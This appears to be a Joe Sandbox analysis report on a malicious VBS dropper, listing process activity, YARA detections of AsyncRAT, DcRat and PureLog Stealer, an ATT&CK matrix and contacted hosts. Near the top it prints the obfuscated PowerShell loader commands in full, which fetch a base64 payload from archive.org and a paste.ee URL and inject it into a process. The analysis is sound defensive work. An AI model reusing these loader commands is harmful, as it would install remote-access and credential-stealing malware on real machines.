Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "iex( ('9'+'jdurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/d'+'etah'+'notev.txt'+'ve5;'+'9jdbase64co'+'nt'+'ent'+' = (n'+'ew-obj'+'ec'+'t sys'+'tem'+'.'+'net.webclient).downl'+'oads'+'tr'+'ing(9jdur'+'l'+');9jdb'+'ina'+'ry'+'c'+'ontent = '+'[sys'+'tem.'+'convert]::from'+'ba'+'se64str'+'i'+'ng('+'9'+'jdbase64con'+'ten'+'t);9jdassembly = [r'+'eflect'+'ion.assembl'+'y]::load(9jd'+'bin'+'arycon'+'ten'+'t);9jd'+'type = 9'+'jdassemb'+'ly.get'+'ty'+'pe(ve5runpe.homev'+'e5);9'+'jd'+'method = 9j'+'dt'+'yp'+'e.getmethod(ve5vaive5);9jdmet'+'hod.'+'inv'+'o'+'ke(9jdnull'+', [object'+'['+']]@(ve50/mn'+'ta'+'a/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5addin'+'pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').replace('9jd',[string][char]36).replace('ve5',[string][char]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'swv4kcaojzknkydqrhvybca9ihynkydlnwh0jysndccrj3ankydzoi8vawe2mccrjzaxmdaudxmuyscrj3jjaccrj2l2zs5vjysncmcvmicrjzqvaxrlbxmvzgv0yscrj2gtjysnbm90zs12l0qnkydldgfojysntm90zvyudhh0jysndmu1oycrjzlqrgjhc2u2nenvjysnbnqnkydlbnqnkycgpsaoticrj2v3lu9iaicrj2vjjysndcbtexmnkyd0zw0nkycujysntmv0lldlyknsawvudckurg93bmwnkydvywrtjysndhinkydpbmcoowpedxinkydsjysnkts5akrijysnaw5hjysncnknkyddjysnb250zw50id0gjysnw1n5cycrj3rlbs4nkyddb252zxj0xto6rnjvbscrj0jhjysnc2u2nfn0cicrj2knkyduzygnkyc5jysnakriyxnlnjrdb24nkyd0zw4nkyd0kts5akrhc3nlbwjsesa9iftsjysnzwzszwn0jysnaw9ulkfzc2vtymwnkyd5xto6tg9hzcg5akqnkydiaw4nkydhcnldb24nkyd0zw4nkyd0kts5akqnkyd0exblid0goscrj2peyxnzzw1ijysnbhkur2v0jysnvhknkydwzsh2ztvsdw5qrs5ib21ldicrj2u1kts5jysnakqnkydtzxrob2qgpsa5aicrj0r0jysnexankydllkdlde1ldghvzch2ztvwqul2ztupozlqrg1ldccrj2hvzc4nkydjbnynkydvjysna2uoowpebnvsbccrjywgw29iamvjdccrj1snkyddxuaodmu1mc9nticrj1rhjysnqs9kl2vllmv0c2fwly86c3b0jysndggnkyd2ztuglcb2ztvkzxmnkydhdgl2ywrvdmu1icwgdmu1zgvzyxrpjysndmfkb3zlnsankycsiccrj3zlnwrlc2f0axynkydhzg92jysnztusdmunkyc1qwrksw4nkydqcicrj29jzscrj3nzmzj2ztusdmu1dmu1jysnkscrjyknks5szvbsyunlkcc5akqnlftzdhjjtkddw0noqvjdmzyplljlugxhq2uoj3zlnscsw3n0cklor11bq2hbul0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "iex( ('9'+'jdurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/d'+'etah'+'notev.txt'+'ve5;'+'9jdbase64co'+'nt'+'ent'+' = (n'+'ew-obj'+'ec'+'t sys'+'tem'+'.'+'net.webclient).downl'+'oads'+'tr'+'ing(9jdur'+'l'+');9jdb'+'ina'+'ry'+'c'+'ontent = '+'[sys'+'tem.'+'convert]::from'+'ba'+'se64str'+'i'+'ng('+'9'+'jdbase64con'+'ten'+'t);9jdassembly = [r'+'eflect'+'ion.assembl'+'y]::load(9jd'+'bin'+'arycon'+'ten'+'t);9jd'+'type = 9'+'jdassemb'+'ly.get'+'ty'+'pe(ve5runpe.homev'+'e5);9'+'jd'+'method = 9j'+'dt'+'yp'+'e.getmethod(ve5vaive5);9jdmet'+'hod.'+'inv'+'o'+'ke(9jdnull'+', [object'+'['+']]@(ve50/mn'+'ta'+'a/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5addin'+'pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').replace('9jd',[string][char]36).replace('ve5',[string][char]39) )"	Jump to behavior

Source: AddInProcess32.exe, 00000005.00000002.3322084627.000000000289F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.000000000286F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.0000000002876000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\]q
Source: AddInProcess32.exe, 00000005.00000002.3322084627.000000000289F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.000000000286F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.0000000002876000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: AddInProcess32.exe, 00000005.00000002.3322084627.000000000289F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.000000000286F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.0000000002876000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\]q&
Source: AddInProcess32.exe, 00000005.00000002.3322084627.000000000289F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe]qx
Source: AddInProcess32.exe, 00000005.00000002.3322084627.000000000287B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\]qPaste_bin@\]q
Source: AddInProcess32.exe, 00000005.00000002.3322084627.000000000289F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.000000000286F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.0000000002876000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe]q

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR

Source: powershell.exe, 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: powershell.exe, 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match	File source: 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.156e3dabd30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156eb570000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156e3dabd30.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156eb570000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2142512809.00000156EB570000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2122604087.00000156E3597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected DcRat

Source: Yara match	File source: 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.156e3dabd30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156eb570000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156e3dabd30.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156eb570000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2142512809.00000156EB570000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2122604087.00000156E3597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	212 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Scheduled Task/Job	121 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Command and Scripting Interpreter	Login Hook	Login Hook	1 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	3 PowerShell	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
vr65co3Boo.vbs	10%	Virustotal		Browse
vr65co3Boo.vbs	16%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
ia600100.us.archive.org	0%	Virustotal		Browse
paste.ee	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://paste.ee	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://paste.ee	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtve5;9jDbase64Content	1%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	10%	Virustotal		Browse
https://analytics.paste.ee	1%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://paste.ee/d/AaTNM/0	4%	Virustotal		Browse
http://ia600100.us.archive.org	0%	Virustotal		Browse
https://cdnjs.cloudflare.com	0%	Virustotal		Browse
https://ia600100.us.archive.org	1%	Virustotal		Browse
https://themes.googleusercontent.com	0%	Virustotal		Browse
https://secure.gravatar.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600100.us.archive.org	207.241.227.240	true	false	0%, Virustotal, Browse	unknown
paste.ee	188.114.97.3	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	10%, Virustotal, Browse	unknown
https://paste.ee/d/AaTNM/0	true	4%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtve5;9jDbase64Content	powershell.exe, 00000004.00000002.2106713768.00000156D31A2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2106713768.00000156D48ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000004.00000002.2106713768.00000156D4681000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2106713768.00000156D4867000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://paste.ee	powershell.exe, 00000004.00000002.2106713768.00000156D33C7000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2106713768.00000156D4867000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.2106713768.00000156D3FF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.arX	powershell.exe, 00000004.00000002.2106713768.00000156D4633000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://analytics.paste.ee	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://paste.ee	powershell.exe, 00000004.00000002.2106713768.00000156D33C7000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2106713768.00000156D4867000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://www.google.com	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2106713768.00000156D48ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2122604087.00000156E2FEE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000004.00000002.2106713768.00000156D4681000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ia600100.us.archive.org	powershell.exe, 00000004.00000002.2106713768.00000156D45B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D31A2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2153565809.000001D7B1382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2153565809.000001D7B1343000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D2F81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2153565809.000001D7B13B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D2F81000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.gravatar.com	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://themes.googleusercontent.com	powershell.exe, 00000004.00000002.2106713768.00000156D357E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2106713768.00000156D335C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://oneget.org	powershell.exe, 00000004.00000002.2106713768.00000156D4681000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 00000004.00000002.2106713768.00000156D4639000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true
148.113.165.11	unknown	United States	396982	GOOGLE-PRIVATE-CLOUDUS	true
207.241.227.240	ia600100.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523827
Start date and time:	2024-10-02 05:26:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vr65co3Boo.vbs renamed because original name is a hash value
Original Sample Name:	21d27f29540147603af9a74b194f553342254ee4daea07359e6bd1246442d4f8.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@8/7@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 93% Number of executed functions: 16 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.19.126.137, 2.19.126.154
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target powershell.exe, PID 1960 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2360 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:27:08	API Interceptor	44x Sleep call for process: powershell.exe modified
23:27:17	API Interceptor	2x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	payment copy.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	BX7yRz7XqF.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	cloud.dellicon.top/1000/500/
	jKSjtQ8W7O.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ministryofficedownloadcloudserver.screenpont.xyz/78/CKP/
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
